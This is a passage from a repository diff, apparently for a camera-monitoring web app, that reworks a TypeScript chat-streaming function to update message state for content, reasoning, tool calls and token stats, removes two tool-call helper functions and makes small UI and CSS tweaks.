url: string,
|
||||
headers: Record<string, string>,
|
||||
apiMessages: ChatMessage[],
|
||||
apiMessages: { role: string; content: string }[],
|
||||
callbacks: StreamChatCallbacks,
|
||||
signal?: AbortSignal,
|
||||
options: StreamChatOptions = {},
|
||||
): Promise<void> {
|
||||
const {
|
||||
onContentDelta,
|
||||
onReasoningDelta,
|
||||
onChain,
|
||||
onStats,
|
||||
updateMessages,
|
||||
onError,
|
||||
onDone,
|
||||
onStats,
|
||||
defaultErrorMessage = "Something went wrong. Please try again.",
|
||||
} = callbacks;
|
||||
|
||||
@@ -97,27 +91,65 @@ export async function streamChatCompletion(
|
||||
const applyChunk = (data: StreamChunk) => {
|
||||
if (data.type === "error") {
|
||||
onError(data.error);
|
||||
updateMessages((prev) =>
|
||||
prev.filter((m) => !(m.role === "assistant" && m.content === "")),
|
||||
);
|
||||
return "break";
|
||||
}
|
||||
if (data.type === "messages") {
|
||||
onChain(data.messages ?? []);
|
||||
if (data.type === "tool_calls" && data.tool_calls?.length) {
|
||||
updateMessages((prev) => {
|
||||
const next = [...prev];
|
||||
const lastMsg = next[next.length - 1];
|
||||
if (lastMsg?.role === "assistant")
|
||||
next[next.length - 1] = {
|
||||
...lastMsg,
|
||||
toolCalls: data.tool_calls,
|
||||
};
|
||||
return next;
|
||||
});
|
||||
return "continue";
|
||||
}
|
||||
if (data.type === "content" && data.delta !== undefined) {
|
||||
onContentDelta(data.delta);
|
||||
updateMessages((prev) => {
|
||||
const next = [...prev];
|
||||
const lastMsg = next[next.length - 1];
|
||||
if (lastMsg?.role === "assistant")
|
||||
next[next.length - 1] = {
|
||||
...lastMsg,
|
||||
content: lastMsg.content + data.delta,
|
||||
};
|
||||
return next;
|
||||
});
|
||||
return "continue";
|
||||
}
|
||||
if (data.type === "reasoning" && data.delta !== undefined) {
|
||||
onReasoningDelta(data.delta);
|
||||
updateMessages((prev) => {
|
||||
const next = [...prev];
|
||||
const lastMsg = next[next.length - 1];
|
||||
if (lastMsg?.role === "assistant")
|
||||
next[next.length - 1] = {
|
||||
...lastMsg,
|
||||
reasoning: (lastMsg.reasoning ?? "") + data.delta,
|
||||
};
|
||||
return next;
|
||||
});
|
||||
return "continue";
|
||||
}
|
||||
if (data.type === "stats") {
|
||||
onStats({
|
||||
const stats: ChatStats = {
|
||||
promptTokens: data.prompt_tokens,
|
||||
completionTokens: data.completion_tokens,
|
||||
completionDurationMs: data.completion_duration_ms,
|
||||
tokensPerSecond: data.tokens_per_second,
|
||||
};
|
||||
updateMessages((prev) => {
|
||||
const next = [...prev];
|
||||
const lastMsg = next[next.length - 1];
|
||||
if (lastMsg?.role === "assistant")
|
||||
next[next.length - 1] = { ...lastMsg, stats };
|
||||
return next;
|
||||
});
|
||||
onStats?.(stats);
|
||||
return "continue";
|
||||
}
|
||||
return "continue";
|
||||
@@ -133,8 +165,9 @@ export async function streamChatCompletion(
|
||||
const trimmed = line.trim();
|
||||
if (!trimmed) continue;
|
||||
try {
|
||||
const data = JSON.parse(trimmed) as StreamChunk;
|
||||
if (applyChunk(data) === "break") {
|
||||
const data = JSON.parse(trimmed) as StreamChunk & { type: string };
|
||||
const result = applyChunk(data as StreamChunk);
|
||||
if (result === "break") {
|
||||
hadStreamError = true;
|
||||
break;
|
||||
}
|
||||
@@ -148,63 +181,50 @@ export async function streamChatCompletion(
|
||||
// Flush remaining buffer
|
||||
if (!hadStreamError && buffer.trim()) {
|
||||
try {
|
||||
const data = JSON.parse(buffer.trim()) as StreamChunk;
|
||||
applyChunk(data);
|
||||
const data = JSON.parse(buffer.trim()) as StreamChunk & {
|
||||
type: string;
|
||||
delta?: string;
|
||||
};
|
||||
if (data.type === "content" && data.delta !== undefined) {
|
||||
updateMessages((prev) => {
|
||||
const next = [...prev];
|
||||
const lastMsg = next[next.length - 1];
|
||||
if (lastMsg?.role === "assistant")
|
||||
next[next.length - 1] = {
|
||||
...lastMsg,
|
||||
content: lastMsg.content + data.delta!,
|
||||
};
|
||||
return next;
|
||||
});
|
||||
}
|
||||
} catch {
|
||||
// ignore final malformed chunk
|
||||
}
|
||||
}
|
||||
|
||||
if (!hadStreamError) {
|
||||
updateMessages((prev) => {
|
||||
const next = [...prev];
|
||||
const lastMsg = next[next.length - 1];
|
||||
if (lastMsg?.role === "assistant" && lastMsg.content === "")
|
||||
next[next.length - 1] = { ...lastMsg, content: " " };
|
||||
return next;
|
||||
});
|
||||
}
|
||||
} catch (err) {
|
||||
if (err instanceof DOMException && err.name === "AbortError") {
|
||||
// User stopped generation — not an error
|
||||
} else {
|
||||
onError(defaultErrorMessage);
|
||||
updateMessages((prev) =>
|
||||
prev.filter((m) => !(m.role === "assistant" && m.content === "")),
|
||||
);
|
||||
}
|
||||
} finally {
|
||||
onDone();
|
||||
}
|
||||
}
|
||||
|
||||
/** Map each tool result message to its tool_call_id for response lookup. */
|
||||
export function toolResponsesById(
|
||||
messages: ChatMessage[],
|
||||
): Map<string, string> {
|
||||
const map = new Map<string, string>();
|
||||
for (const m of messages) {
|
||||
if (m.role === "tool" && typeof m.tool_call_id === "string") {
|
||||
map.set(
|
||||
m.tool_call_id,
|
||||
typeof m.content === "string" ? m.content : JSON.stringify(m.content),
|
||||
);
|
||||
}
|
||||
}
|
||||
return map;
|
||||
}
|
||||
|
||||
/** Derive the display tool calls for one assistant message. */
|
||||
export function toolCallsForMessage(
|
||||
message: ChatMessage,
|
||||
responses: Map<string, string>,
|
||||
): ToolCall[] {
|
||||
if (!message.tool_calls?.length) return [];
|
||||
return message.tool_calls.map((tc) => {
|
||||
let args: Record<string, unknown> | undefined;
|
||||
const raw = tc.function?.arguments;
|
||||
if (typeof raw === "string") {
|
||||
try {
|
||||
args = JSON.parse(raw) as Record<string, unknown>;
|
||||
} catch {
|
||||
args = undefined;
|
||||
}
|
||||
}
|
||||
return {
|
||||
name: tc.function?.name ?? "",
|
||||
arguments: args,
|
||||
response: responses.get(tc.id),
|
||||
};
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Parse search_objects tool call response(s) into event ids for thumbnails.
|
||||
*/
|
||||
|
||||
@@ -592,7 +592,6 @@ export default function LiveDashboardView({
|
||||
resetPreferredLiveMode(camera.name)
|
||||
}
|
||||
config={config}
|
||||
streamMetadata={streamMetadata}
|
||||
>
|
||||
<LivePlayer
|
||||
cameraRef={cameraRef}
|
||||
|
||||
@@ -113,8 +113,8 @@
|
||||
--foreground: hsl(0, 0%, 100%);
|
||||
--foreground: 0, 0%, 100%;
|
||||
|
||||
--card: hsl(0, 0%, 12%);
|
||||
--card: 0, 0%, 12%;
|
||||
--card: hsl(0, 0%, 15%);
|
||||
--card: 0, 0%, 15%;
|
||||
|
||||
--card-foreground: hsl(210, 40%, 98%);
|
||||
--card-foreground: 210 40% 98%;
|
||||
|
||||
Reference in New Issue
Block a user